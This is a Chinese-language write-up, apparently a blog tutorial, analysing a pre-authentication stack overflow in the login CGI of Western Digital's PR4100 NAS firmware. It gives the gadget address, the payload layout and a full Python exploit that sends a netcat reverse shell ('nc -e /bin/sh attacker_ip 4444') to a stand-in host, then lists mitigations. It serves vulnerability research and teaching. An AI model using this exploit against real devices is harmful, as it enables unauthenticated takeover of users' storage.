sakuraの从零开始のIoT漏洞挖掘系列(一): Western Digital My Cloud Pro系列PR4100 NAS认证前RCE漏洞分析与利用
字数 1589 2025-08-10 08:28:35

Western Digital My Cloud Pro PR4100 NAS 认证前RCE漏洞分析与利用

一、漏洞概述

本漏洞存在于Western Digital My Cloud Pro系列PR4100 NAS设备中,是一个认证前的远程代码执行漏洞。该漏洞从固件版本2.31.204开始存在,直到5.04.114版本才被修复,影响时间跨度长达一年。

漏洞类型:栈溢出导致的远程代码执行
影响组件:/cgi-bin/login_mgr.cgi
攻击前提:无需认证
CVSS评分:9.8(临界)

二、攻击面分析

1. 服务枚举

通过分析设备的网络服务,发现以下关键服务:

Active Internet connections (only servers)
Proto  Local Address        Foreign Address      State       PID/Program name
tcp    0.0.0.0:443          0.0.0.0:*            LISTEN      3320/httpd
tcp    0.0.0.0:80           0.0.0.0:*            LISTEN      3320/httpd
tcp    0.0.0.0:8181         0.0.0.0:*            LISTEN      1609/restsdk-server
tcp    0.0.0.0:22           0.0.0.0:*            LISTEN      2761/sshd

2. Apache配置分析

关键配置文件:

  • alias.conf:定义了CGI脚本的路径映射
  • rewrite.conf:定义了URL重写规则

重写规则关键部分:

<Directory "/var/www/cgi-bin/">
    RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
    RewriteCond $1 !^abFiles$
    RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>

认证前可访问的CGI脚本:

  • webpipe.cgi(内部有鉴权)
  • login_mgr.cgi(主要攻击目标)

三、漏洞分析

1. 漏洞位置

漏洞存在于login_mgr.cgiwd_login函数中,具体是处理用户登录时的密码验证逻辑。

2. 漏洞触发流程

  1. 用户提交登录请求:

    POST /cgi-bin/login_mgr.cgi HTTP/1.1
    ...
    cmd=wd_login&username=admin&pwd=YWRtaW4%3D&port=
    
  2. wd_login函数处理流程:

    • 读取用户名(最大32字节)
    • 读取密码(base64编码,最大256字节)
    • 对密码进行base64解码
    • 检查用户名合法性
    • 调用check_login验证密码

3. 漏洞成因

关键问题点:

  1. base64解码缓冲区溢出

    • pwd_decoded数组大小:64字节
    • 但base64解码允许最大192字节输出(256*3/4)
    • 导致缓冲区溢出到相邻的pwd_b64数组
  2. strcpy栈溢出

    • check_login函数中:
      char password_copy_input[88];
      strcpy(password_copy_input, pwd_decoded);
      
    • 允许写入最多192字节到88字节的栈缓冲区
    • 可以覆盖返回地址(偏移120字节)

栈布局:

-00000000000000C8 password_copy_shadow db 80 dup(?)
-0000000000000078 password_copy_input db 120 dup(?)
+0000000000000000 r db 8 dup(?)  <-- 返回地址

四、漏洞利用

1. 利用限制

  • 64位地址包含NULL字节(如0x00401D00)
  • strcpy会在NULL字节处截断
  • 只能覆盖返回地址,无法连续写入更多数据

2. 利用技术:栈抬升(Stack Pivot)

关键gadget:

.text:00000000004039B7 lea     rdi, [rsp]
.text:00000000004039BB call    _system
.text:00000000004039C0 xor     eax, eax
.text:00000000004039C2 lea     rsp, [rsp+108h]
.text:00000000004039CA retn

利用步骤:

  1. 构造payload:

    • 120字节填充
    • gadget地址(0x4039B7)
    • 要执行的命令字符串
  2. 执行流程:

    • 覆盖返回地址为gadget地址
    • 第一次执行:调用system(无效命令),栈抬升0x108
    • RSP指向payload中的命令字符串
    • 第二次执行:调用system(我们的命令)

3. 完整利用

Payload结构:

[A*120][p64(0x4039B7)][command_string]

示例反弹shell:

import requests
import base64

# 构造恶意密码
payload = b'A'*120
payload += b'\xB7\x39\x40\x00\x00\x00\x00\x00'  # 0x4039B7
payload += b'nc -e /bin/sh attacker_ip 4444'

# base64编码
encoded_payload = base64.b64encode(payload).decode('utf-8')

# 发送恶意请求
data = {
    'cmd': 'wd_login',
    'username': 'admin',
    'pwd': encoded_payload
}
response = requests.post('http://target/cgi-bin/login_mgr.cgi', data=data)

五、防御措施

  1. 厂商修复方案:

    • 增加输入长度检查
    • 使用安全的字符串操作函数(如strncpy)
    • 升级到固件版本5.04.114或更高
  2. 临时缓解措施:

    • 禁用Web界面
    • 使用防火墙限制访问
    • 修改默认密码

六、漏洞挖掘方法论

  1. 攻击面枚举:

    • 使用netstat分析开放服务
    • 检查配置文件(特别是apache/nginx)
    • 分析进程列表(ps -ef)
  2. 重点检查:

    • CGI程序
    • 未认证可访问的接口
    • 缓冲区操作(strcpy, sprintf等)
  3. 漏洞模式识别:

    • 输入长度未校验
    • 不安全的字符串操作
    • 多层传递的缓冲区溢出

七、参考资源

  1. 原始漏洞报告:

  2. 相关技术文档:

    • Apache mod_alias文档
    • 64位ROP技术
    • Stack Pivot技术
  3. 受影响固件:

通过本案例,我们可以学习到IoT设备中常见的漏洞模式以及如何利用栈溢出漏洞实现远程代码执行。关键点在于理解缓冲区溢出的传播路径和64位环境下的ROP利用技术。

Western Digital My Cloud Pro PR4100 NAS 认证前RCE漏洞分析与利用 一、漏洞概述 本漏洞存在于Western Digital My Cloud Pro系列PR4100 NAS设备中,是一个认证前的远程代码执行漏洞。该漏洞从固件版本2.31.204开始存在,直到5.04.114版本才被修复,影响时间跨度长达一年。 漏洞类型:栈溢出导致的远程代码执行 影响组件: /cgi-bin/login_mgr.cgi 攻击前提:无需认证 CVSS评分:9.8(临界) 二、攻击面分析 1. 服务枚举 通过分析设备的网络服务,发现以下关键服务: 2. Apache配置分析 关键配置文件: alias.conf :定义了CGI脚本的路径映射 rewrite.conf :定义了URL重写规则 重写规则关键部分: 认证前可访问的CGI脚本: webpipe.cgi (内部有鉴权) login_mgr.cgi (主要攻击目标) 三、漏洞分析 1. 漏洞位置 漏洞存在于 login_mgr.cgi 的 wd_login 函数中,具体是处理用户登录时的密码验证逻辑。 2. 漏洞触发流程 用户提交登录请求: wd_login 函数处理流程: 读取用户名(最大32字节) 读取密码(base64编码,最大256字节) 对密码进行base64解码 检查用户名合法性 调用 check_login 验证密码 3. 漏洞成因 关键问题点: base64解码缓冲区溢出 : pwd_decoded 数组大小:64字节 但base64解码允许最大192字节输出(256* 3/4) 导致缓冲区溢出到相邻的 pwd_b64 数组 strcpy栈溢出 : 在 check_login 函数中: 允许写入最多192字节到88字节的栈缓冲区 可以覆盖返回地址(偏移120字节) 栈布局: 四、漏洞利用 1. 利用限制 64位地址包含NULL字节(如0x00401D00) strcpy会在NULL字节处截断 只能覆盖返回地址,无法连续写入更多数据 2. 利用技术:栈抬升(Stack Pivot) 关键gadget: 利用步骤: 构造payload: 120字节填充 gadget地址(0x4039B7) 要执行的命令字符串 执行流程: 覆盖返回地址为gadget地址 第一次执行:调用system(无效命令),栈抬升0x108 RSP指向payload中的命令字符串 第二次执行:调用system(我们的命令) 3. 完整利用 Payload结构: 示例反弹shell: 五、防御措施 厂商修复方案: 增加输入长度检查 使用安全的字符串操作函数(如strncpy) 升级到固件版本5.04.114或更高 临时缓解措施: 禁用Web界面 使用防火墙限制访问 修改默认密码 六、漏洞挖掘方法论 攻击面枚举: 使用netstat分析开放服务 检查配置文件(特别是apache/nginx) 分析进程列表(ps -ef) 重点检查: CGI程序 未认证可访问的接口 缓冲区操作(strcpy, sprintf等) 漏洞模式识别: 输入长度未校验 不安全的字符串操作 多层传递的缓冲区溢出 七、参考资源 原始漏洞报告: CrowdStrike: Pwn2Own - Tale of a Bug Found and Lost Again 相关技术文档: Apache mod_ alias文档 64位ROP技术 Stack Pivot技术 受影响固件: WDMyCloud_ PR4100_ GPL_ v2.40.155 通过本案例,我们可以学习到IoT设备中常见的漏洞模式以及如何利用栈溢出漏洞实现远程代码执行。关键点在于理解缓冲区溢出的传播路径和64位环境下的ROP利用技术。